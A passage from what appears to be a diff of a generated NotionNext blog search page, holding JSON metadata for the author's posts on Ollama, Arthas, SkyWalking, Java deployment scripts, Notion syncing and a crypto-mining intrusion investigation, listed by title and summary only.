圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/search","query":{},"buildId":"xl8RIHPvivYKGN-nsdmr6","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
+              </script></div><script id="__NEXT_DATA__" type="application/json" crossorigin="">{"props":{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection\u0026id=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026t=3c6ddc29-47df-43f6-a375-de1c3a9cf466\u0026width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"\u003c- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=4fae0653-be7f-4e10-91de-344f6c6d0a6b\u0026width=800\u0026fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 